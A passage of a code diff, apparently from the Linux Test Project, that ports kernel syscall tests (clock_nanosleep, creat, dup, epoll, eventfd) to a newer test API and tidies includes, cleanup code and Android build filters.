-	time_t expect;
-	time_t result;
-
-	t.tv_sec = aft->tv_sec - bef->tv_sec;
-	t.tv_nsec = aft->tv_nsec - bef->tv_nsec;
-	if (t.tv_nsec < 0) {
-		t.tv_sec -= 1;
-		t.tv_nsec += 1000000000;
-	}
-	expect = (sec * 1000) + (nsec / 1000000);
-	result = (t.tv_sec * 1000) + (t.tv_nsec / 1000000);
-	tst_resm(TINFO, "check sleep time: (min:%ld) < %ld < (max:%ld) (msec)",
-		 expect - MAX_MSEC_DIFF, result, expect + MAX_MSEC_DIFF);
-	if (result < expect - MAX_MSEC_DIFF || result > expect + MAX_MSEC_DIFF)
-		return -1;
-	return 0;
+	SAFE_SIGNAL(SIGINT, sighandler);
+	tst_timer_check(CLOCK_MONOTONIC);
 }
 
-/*
- * do_test()
- *
- *   Input  : TestCase Data
- *   Return : RESULT_OK(0), RESULT_NG(1)
- *
- */
-static int do_test(struct test_case *tc)
+static void do_test(unsigned int i)
 {
-	int sys_ret;
-	int sys_errno;
-	int result = RESULT_OK;
-	struct timespec beftp, afttp, rq, rm;
-	int rc, range_ok = 1, remain_ok = 1;
+	struct test_case *tc = &tcase[i];
+	struct timespec rm = {0};
+	long long elapsed_ms, expect_ms, remain_ms = 0;
 	pid_t pid = 0;
 
-	/*
-	 * Check before sleep time
-	 */
+	tst_res(TINFO, "case %s", tc->desc);
+
+	/* setup */
+	if (tc->ttype == SEND_SIGINT)
+		pid = create_sig_proc(SIGINT, 40, 500000);
+
+	/* test */
+	tst_timer_start(CLOCK_MONOTONIC);
+	TEST(clock_nanosleep(tc->clk_id, tc->flags, &tc->rq, &rm));
+	tst_timer_stop();
+	elapsed_ms = tst_timer_elapsed_ms();
+	expect_ms = tst_timespec_to_ms(tc->rq);
+
 	if (tc->ttype == SEND_SIGINT) {
-		pid = create_sig_proc(500000, SIGINT, UINT_MAX);
-		if (pid < 0)
-			return 1;
+		tst_res(TINFO, "remain time: %lds %ldns", rm.tv_sec, rm.tv_nsec);
+		remain_ms = tst_timespec_to_ms(rm);
 	}
 
-	/*
-	 * Check before sleep time
-	 */
-	TEST(rc = clock_gettime(tc->clk_id, &beftp));
-	if (rc < 0) {
-		tst_resm(TFAIL | TTERRNO, "clock_gettime failed");
-		result = 1;
-		goto EXIT;
-	}
-	/*
-	 * Execute system call
-	 */
-	rq.tv_sec = tc->sec;
-	rq.tv_nsec = tc->nsec;
-	// !!!CAUTION: 'clock_gettime' returns errno itself
-	errno = 0;
-	if (tc->ttype == NULL_POINTER)
-		TEST(sys_ret =
-		     clock_nanosleep(tc->clk_id, tc->flags, NULL, &rm));
-	else
-		TEST(sys_ret =
-		     clock_nanosleep(tc->clk_id, tc->flags, &rq, &rm));
-	sys_errno = errno;
-	if (sys_ret != 0)
-		goto TEST_END;
-
-	/*
-	 * Check after sleep time
-	 */
-	TEST(rc = clock_gettime(tc->clk_id, &afttp));
-	if (TEST_RETURN < 0) {
-		EPRINTF("clock_gettime failed.\n");
-		result = 1;
-		goto EXIT;
-	}
-	range_ok = chk_difftime(&beftp, &afttp, tc->sec, tc->nsec) == 0;
-	/*
-	 * Check remaining time
-	 */
-TEST_END:
-	if (tc->ttype == NORMAL || tc->ttype == SEND_SIGINT) {
-		tst_resm(TINFO, "remain time: %ld %ld", rm.tv_sec, rm.tv_nsec);
-		if (tc->ttype == NORMAL)
-			remain_ok = 1;
-		else
-			remain_ok = rm.tv_sec != 0 || rm.tv_nsec != 0;
+	/* cleanup */
+	if (pid) {
+		SAFE_KILL(pid, SIGTERM);
+		SAFE_WAIT(NULL);
 	}
 
-	/*
-	 * Check results
-	 */
-	result |= (sys_ret != tc->ret) || !range_ok || !remain_ok;
-	if (!range_ok)
-		PRINT_RESULT_EXTRA(0, tc->ret, tc->err, sys_ret, sys_errno,
-				   "time range check", range_ok);
-	else
-		PRINT_RESULT_EXTRA(0, tc->ret, tc->err, sys_ret, sys_errno,
-				   "remain time check", remain_ok);
-EXIT:
-	if (pid > 0) {
-		int st;
-		TEST(kill(pid, SIGTERM));
-		TEST(wait(&st));
+	/* result check */
+	if (!TEST_RETURN && (elapsed_ms < expect_ms - MAX_MSEC_DIFF
+		|| elapsed_ms > expect_ms + MAX_MSEC_DIFF)) {
+
+		tst_res(TFAIL| TTERRNO, "The clock_nanosleep() haven't slept correctly,"
+			" measured %lldms, expected %lldms +- %d",
+			elapsed_ms, expect_ms, MAX_MSEC_DIFF);
+		return;
 	}
-	return result;
+
+	if (tc->ttype == SEND_SIGINT && !rm.tv_sec && !rm.tv_nsec) {
+		tst_res(TFAIL | TTERRNO, "The clock_nanosleep() haven't updated"
+			" timestamp with remaining time");
+		return;
+	}
+
+	if (tc->ttype == SEND_SIGINT && remain_ms > expect_ms) {
+		tst_res(TFAIL| TTERRNO, "remaining time > requested time (%lld > %lld)",
+			remain_ms, expect_ms);
+		return;
+	}
+
+	if (TEST_RETURN != tc->exp_ret) {
+		tst_res(TFAIL | TTERRNO, "returned %ld, expected %d,"
+			" expected errno: %s (%d)", TEST_RETURN,
+			tc->exp_ret, tst_strerrno(tc->exp_err), tc->exp_err);
+		return;
+	}
+
+	tst_res(TPASS, "returned %s (%ld)",
+		tst_strerrno(TEST_RETURN), TEST_RETURN);
 }
 
-/*
- * main()
- */
-
-int main(int ac, char **av)
-{
-	int result = RESULT_OK;
-	int i;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			for (i = 0; i < (int)(sizeof(tcase) / sizeof(tcase[0]));
-			     i++) {
-				int ret;
-				tst_resm(TINFO, "(case%02d) START", i);
-				ret = do_test(&tcase[i]);
-				tst_resm(TINFO, "(case%02d) END => %s",
-					 i, (ret == 0) ? "OK" : "NG");
-				result |= ret;
-			}
-
-			switch (result) {
-			case RESULT_OK:
-				tst_resm(TPASS,
-					 "clock_nanosleep call succeeded");
-				break;
-
-			default:
-				tst_brkm(TFAIL | TERRNO, cleanup,
-					 "clock_nanosleep failed");
-				break;
-			}
-
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-
-}
+static struct tst_test test = {
+	.tid = "clock_nanosleep01",
+	.tcnt = ARRAY_SIZE(tcase),
+	.test = do_test,
+	.setup = setup,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c b/testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c
index 04fe7a1..968a77d 100644
--- a/testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c
+++ b/testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c
@@ -1,143 +1,62 @@
-/******************************************************************************/
-/* Copyright (c) M. Koehrer <mathias_koehrer@arcor.de>, 2009                  */
-/*                                                                            */
-/* LKML Reference: http://lkml.org/lkml/2009/4/9/89                           */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        clock_nanosleep2_01.c                                         */
-/*                                                                            */
-/* Description: This tests the clock_nanosleep2-out() syscall                 */
-/*                                                                            */
-/* Usage:  <for command-line>                                                 */
-/* clock_nanosleep2_01 [-c n] [-e][-i n] [-I x] [-p x] [-t]                   */
-/*      where,  -c n : Run n copies concurrently.                             */
-/*              -e   : Turn on errno logging.                                 */
-/*              -i n : Execute test n times.                                  */
-/*              -I x : Execute test for x seconds.                            */
-/*              -P x : Pause for x seconds between iterations.                */
-/*              -t   : Turn on syscall timing.                                */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   clock_nanosleep2_01                                           */
-/******************************************************************************/
-#define _GNU_SOURCE
+/******************************************************************************
+ * Copyright (c) M. Koehrer <mathias_koehrer@arcor.de>, 2009                  *
+ * Copyright (C) 2017 Cyril Hrubis <chrubis@suse.cz>                          *
+ *                                                                            *
+ * This program is free software;  you can redistribute it and/or modify      *
+ * it under the terms of the GNU General Public License as published by       *
+ * the Free Software Foundation; either version 2 of the License, or          *
+ * (at your option) any later version.                                        *
+ *                                                                            *
+ * This program is distributed in the hope that it will be useful,            *
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of            *
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  *
+ * the GNU General Public License for more details.                           *
+ *                                                                            *
+ * You should have received a copy of the GNU General Public License          *
+ * along with this program;  if not, write to the Free Software Foundation,   *
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           *
+ *                                                                            *
+ ******************************************************************************/
+/*
+ * This tests the clock_nanosleep2() syscall.
+ */
 #include <stdio.h>
 #include <time.h>
 #include <unistd.h>
 #include <sys/syscall.h>
-#include <linux/unistd.h>
 
-#include "test.h"
+#include "tst_test.h"
 #include "linux_syscall_numbers.h"
 
-char *TCID = "clock_nanosleep2_01";
-int testno;
-int TST_TOTAL = 1;
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-	tst_exit();
-}
-
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
-void setup(void)
-{
-	/* Capture signals if any */
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
+#define NSEC_IN_SEC 1000000000
 
 const clockid_t CLOCK_TO_USE = CLOCK_MONOTONIC;
 static int clock_nanosleep2(clockid_t clock_id, int flags,
 			    const struct timespec *req, struct timespec *rem)
 {
-	return ltp_syscall(__NR_clock_nanosleep, clock_id, flags, req, rem);
+	return tst_syscall(__NR_clock_nanosleep, clock_id, flags, req, rem);
 }
 
-int main(int ac, char **av)
+static void verify_clock_nanosleep2(void)
 {
-	int i;
-	int lc;
 	struct timespec ts;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			TEST(clock_gettime(CLOCK_TO_USE, &ts));
-			for (i = 0; i <= 50; i++) {
-				ts.tv_sec++;
-				TEST(clock_nanosleep2
-				     (CLOCK_TO_USE, TIMER_ABSTIME, &ts, NULL));
-				if (TEST_ERRNO) {
-					tst_brkm(TFAIL,
-						 cleanup, "%s failed - errno = %d : %s",
-						 TCID, TEST_ERRNO,
-						 strerror(TEST_ERRNO));
-				}
-				tst_resm(TINFO, "Iteration = %i", i);
-			}
-			tst_resm(TPASS, "clock_nanosleep2() passed");
-		}
+	clock_gettime(CLOCK_TO_USE, &ts);
+	ts.tv_nsec += NSEC_IN_SEC/10;
+	if (ts.tv_nsec >= NSEC_IN_SEC) {
+		ts.tv_sec += 1;
+		ts.tv_nsec %= NSEC_IN_SEC;
 	}
-	tst_exit();
+
+	TEST(clock_nanosleep2(CLOCK_TO_USE, TIMER_ABSTIME, &ts, NULL));
+
+	if (TEST_RETURN)
+		tst_res(TFAIL | TTERRNO, "clock_nanosleep2() failed");
+	else
+		tst_res(TPASS, "clock_nanosleep2() passed");
 }
+
+static struct tst_test test = {
+	.tid = "clock_nanosleep2_01",
+	.test_all = verify_clock_nanosleep2,
+};
diff --git a/testcases/kernel/syscalls/close/close08.c b/testcases/kernel/syscalls/close/close08.c
index f3943db..b8e8990 100644
--- a/testcases/kernel/syscalls/close/close08.c
+++ b/testcases/kernel/syscalls/close/close08.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/creat/Makefile b/testcases/kernel/syscalls/creat/Makefile
index bd617d8..a8b112a 100644
--- a/testcases/kernel/syscalls/creat/Makefile
+++ b/testcases/kernel/syscalls/creat/Makefile
@@ -20,4 +20,8 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_MAKE_TARGETS	+= creat05
+endif
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/creat/creat06.c b/testcases/kernel/syscalls/creat/creat06.c
index bb27d03..db0850a 100644
--- a/testcases/kernel/syscalls/creat/creat06.c
+++ b/testcases/kernel/syscalls/creat/creat06.c
@@ -51,6 +51,7 @@
 
 #include <errno.h>
 #include <string.h>
+#include <limits.h>
 #include <pwd.h>
 #include <sys/mman.h>
 #include <sys/types.h>
@@ -70,7 +71,6 @@
 #define	MODE2		0666
 
 static void setup(void);
-static void cleanup(void);
 static void test6_setup(void);
 static void test6_cleanup(void);
 #if !defined(UCLINUX)
@@ -79,8 +79,6 @@
 
 static struct passwd *ltpuser;
 static char long_name[PATH_MAX+2];
-static const char *device;
-static int mount_flag;
 
 static struct test_case_t {
 	char *fname;
@@ -140,13 +138,6 @@
 
 	SAFE_SYMLINK(TEST7_FILE, "test_file_eloop2");
 	SAFE_SYMLINK("test_file_eloop2", TEST7_FILE);
-
-	SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL);
-
-	SAFE_MKDIR("mntpoint", 0777);
-	SAFE_MOUNT(tst_device->dev, "mntpoint", tst_device->fs_type,
-	           MS_RDONLY, NULL);
-	mount_flag = 1;
 }
 
 #if !defined(UCLINUX)
@@ -170,19 +161,14 @@
 	SAFE_SETEUID(0);
 }
 
-static void cleanup(void)
-{
-	if (mount_flag && tst_umount("mntpoint") < 0)
-		tst_brk(TBROK | TERRNO, "umount device:%s failed", device);
-}
-
 static struct tst_test test = {
 	.tid = "creat06",
 	.tcnt = ARRAY_SIZE(tcases),
 	.test = verify_creat,
 	.needs_root = 1,
 	.needs_tmpdir = 1,
-	.needs_device = 1,
-	.cleanup = cleanup,
+	.mount_device = 1,
+	.mntpoint = "mntpoint",
+	.mnt_flags = MS_RDONLY,
 	.setup = setup,
 };
diff --git a/testcases/kernel/syscalls/creat/creat08.c b/testcases/kernel/syscalls/creat/creat08.c
index f9b9f97..1cac42d 100644
--- a/testcases/kernel/syscalls/creat/creat08.c
+++ b/testcases/kernel/syscalls/creat/creat08.c
@@ -47,7 +47,7 @@
 #include <stdio.h>		/* needed by testhead.h         */
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <grp.h>
 #include <pwd.h>
diff --git a/testcases/kernel/syscalls/dup/Makefile b/testcases/kernel/syscalls/dup/Makefile
index bd617d8..cf4ac23 100644
--- a/testcases/kernel/syscalls/dup/Makefile
+++ b/testcases/kernel/syscalls/dup/Makefile
@@ -20,4 +20,8 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+ifeq ($(ANDROID), 1)
+FILTER_OUT_MAKE_TARGETS	+= dup06
+endif
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/dup/dup01.c b/testcases/kernel/syscalls/dup/dup01.c
index 7c0b77a..231958d 100644
--- a/testcases/kernel/syscalls/dup/dup01.c
+++ b/testcases/kernel/syscalls/dup/dup01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/dup/dup02.c b/testcases/kernel/syscalls/dup/dup02.c
index 6d73698..36ac760 100644
--- a/testcases/kernel/syscalls/dup/dup02.c
+++ b/testcases/kernel/syscalls/dup/dup02.c
@@ -109,7 +109,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/dup/dup03.c b/testcases/kernel/syscalls/dup/dup03.c
index e677526..8b4c726 100644
--- a/testcases/kernel/syscalls/dup/dup03.c
+++ b/testcases/kernel/syscalls/dup/dup03.c
@@ -106,7 +106,7 @@
 #define _GNU_SOURCE
 #endif
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/dup/dup04.c b/testcases/kernel/syscalls/dup/dup04.c
index eaaeb78..ec050fd 100644
--- a/testcases/kernel/syscalls/dup/dup04.c
+++ b/testcases/kernel/syscalls/dup/dup04.c
@@ -113,7 +113,7 @@
 #define _GNU_SOURCE
 #endif
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <stdio.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/dup/dup05.c b/testcases/kernel/syscalls/dup/dup05.c
index 1e9ac05..6d46236 100644
--- a/testcases/kernel/syscalls/dup/dup05.c
+++ b/testcases/kernel/syscalls/dup/dup05.c
@@ -111,7 +111,7 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/dup2/Makefile b/testcases/kernel/syscalls/dup2/Makefile
index bd617d8..6396091 100644
--- a/testcases/kernel/syscalls/dup2/Makefile
+++ b/testcases/kernel/syscalls/dup2/Makefile
@@ -20,4 +20,8 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_MAKE_TARGETS	+= dup201 dup205
+endif
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/dup2/dup201.c b/testcases/kernel/syscalls/dup2/dup201.c
index 7725156..4507ac1 100644
--- a/testcases/kernel/syscalls/dup2/dup201.c
+++ b/testcases/kernel/syscalls/dup2/dup201.c
@@ -57,7 +57,7 @@
  */
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <sys/time.h>
 #include <sys/resource.h>
diff --git a/testcases/kernel/syscalls/dup2/dup204.c b/testcases/kernel/syscalls/dup2/dup204.c
index 95f1cdf..0839682 100644
--- a/testcases/kernel/syscalls/dup2/dup204.c
+++ b/testcases/kernel/syscalls/dup2/dup204.c
@@ -44,7 +44,7 @@
 #define _GNU_SOURCE
 #endif
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/dup3/dup3_01.c b/testcases/kernel/syscalls/dup3/dup3_01.c
index 2472fb2..be3f4d8 100644
--- a/testcases/kernel/syscalls/dup3/dup3_01.c
+++ b/testcases/kernel/syscalls/dup3/dup3_01.c
@@ -65,51 +65,13 @@
 char *TCID = "dup3_01";
 int TST_TOTAL = 1;
 
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
 void cleanup(void)
 {
 	tst_rmdir();
 }
 
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
 void setup(void)
 {
-	/* Capture signals if any */
-	/* Create temporary directories */
 	TEST_PAUSE;
 	tst_tmpdir();
 }
@@ -118,6 +80,8 @@
 {
 	int fd, coe;
 
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	if ((tst_kvercmp(2, 6, 27)) < 0)
 		tst_brkm(TCONF, NULL,
 			 "This test can only run on kernels that are 2.6.27 and higher");
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
index 2ecadf7..5833c38 100644
--- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c
@@ -59,14 +59,14 @@
 
 static void cleanup(void)
 {
-	if (epfd > 0 && close(epfd))
-		tst_res(TWARN | TERRNO, "failed to close epoll instance");
+	if (epfd > 0)
+		SAFE_CLOSE(epfd);
 
-	if (fd[0] > 0 && close(fd[0]))
-		tst_res(TWARN | TERRNO, "failed to close pipe");
+	if (fd[0] > 0)
+		SAFE_CLOSE(fd[0]);
 
-	if (fd[1] > 0 && close(fd[1]))
-		tst_res(TWARN | TERRNO, "failed to close pipe");
+	if (fd[1] > 0)
+		SAFE_CLOSE(fd[1]);
 }
 
 static int has_event(struct epoll_event *epvs, int len,
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
index ae2465c..360ae47 100644
--- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c
@@ -87,14 +87,14 @@
 
 static void cleanup(void)
 {
-	if (epfd > 0 && close(epfd))
-		tst_res(TWARN | TERRNO, "failed to close epoll instance");
+	if (epfd)
+		SAFE_CLOSE(epfd);
 
-	if (fd[0] > 0 && close(fd[0]))
-		tst_res(TWARN | TERRNO, "failed to close pipe");
+	if (fd[0])
+		SAFE_CLOSE(fd[0]);
 
-	if (fd[1] > 0 && close(fd[1]))
-		tst_res(TWARN | TERRNO, "failed to close pipe");
+	if (fd[1])
+		SAFE_CLOSE(fd[1]);
 }
 
 static void verify_epoll_ctl(unsigned int n)
diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c
index 4f8448e..ed05da8 100644
--- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c
+++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c
@@ -41,7 +41,7 @@
 int TST_TOTAL = 2;
 
 static int epfd, fds[2];
-static sigset_t sigset;
+static sigset_t signalset;
 static struct epoll_event epevs;
 static struct sigaction sa;
 
@@ -64,7 +64,7 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 		tst_count = 0;
 
-		do_test(&sigset);
+		do_test(&signalset);
 		do_test(NULL);
 	}
 
@@ -83,10 +83,10 @@
 
 	TEST_PAUSE;
 
-	if (sigemptyset(&sigset) == -1)
+	if (sigemptyset(&signalset) == -1)
 		tst_brkm(TFAIL | TERRNO, NULL, "sigemptyset() failed");
 
-	if (sigaddset(&sigset, SIGUSR1) == -1)
+	if (sigaddset(&signalset, SIGUSR1) == -1)
 		tst_brkm(TFAIL | TERRNO, NULL, "sigaddset() failed");
 
 	sa.sa_flags = 0;
diff --git a/testcases/kernel/syscalls/eventfd/eventfd01.c b/testcases/kernel/syscalls/eventfd/eventfd01.c
index 378f61e..c622197 100644
--- a/testcases/kernel/syscalls/eventfd/eventfd01.c
+++ b/testcases/kernel/syscalls/eventfd/eventfd01.c
@@ -504,6 +504,7 @@
 	int ret;
 	struct iocb iocb;
 	struct iocb *iocbap[1];
+	struct io_event ioev;
 	static char buf[4 * 1024];
 
 	*ctx = 0;
@@ -537,6 +538,13 @@
 		goto err_close_file;
 	}
 
+	ret = io_getevents(*ctx, 1, 1, &ioev, NULL);
+	if (ret < 0) {
+		errno = -ret;
+		tst_resm(TINFO | TERRNO, "error waiting for event");
+		goto err_close_file;
+	}
+
 	return 0;
 
 err_close_file:
diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2_01.c b/testcases/kernel/syscalls/eventfd2/eventfd2_01.c
index b58792d..96b1e14 100644
--- a/testcases/kernel/syscalls/eventfd2/eventfd2_01.c
+++ b/testcases/kernel/syscalls/eventfd2/eventfd2_01.c
@@ -69,52 +69,13 @@
 int testno;
 int TST_TOTAL = 1;
 
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
 void cleanup(void)
 {
-
 	tst_rmdir();
 }
 
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
 void setup(void)
 {
-	/* Capture signals if any */
-	/* Create temporary directories */
 	TEST_PAUSE;
 	tst_tmpdir();
 }
@@ -123,6 +84,8 @@
 {
 	int fd, coe;
 
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	if ((tst_kvercmp(2, 6, 27)) < 0) {
 		tst_brkm(TCONF, NULL,
 			 "This test can only run on kernels that are 2.6.27 and higher");
diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2_02.c b/testcases/kernel/syscalls/eventfd2/eventfd2_02.c
index 3d42ebd..b2be520 100644
--- a/testcases/kernel/syscalls/eventfd2/eventfd2_02.c
+++ b/testcases/kernel/syscalls/eventfd2/eventfd2_02.c
@@ -66,52 +66,13 @@
 int testno;
 int TST_TOTAL = 1;
 
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
 void cleanup(void)
 {
-
 	tst_rmdir();
 }
 
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
 void setup(void)
 {
-	/* Capture signals if any */
-	/* Create temporary directories */
 	TEST_PAUSE;
 	tst_tmpdir();
 }
@@ -120,6 +81,8 @@
 {
 	int fd, fl;
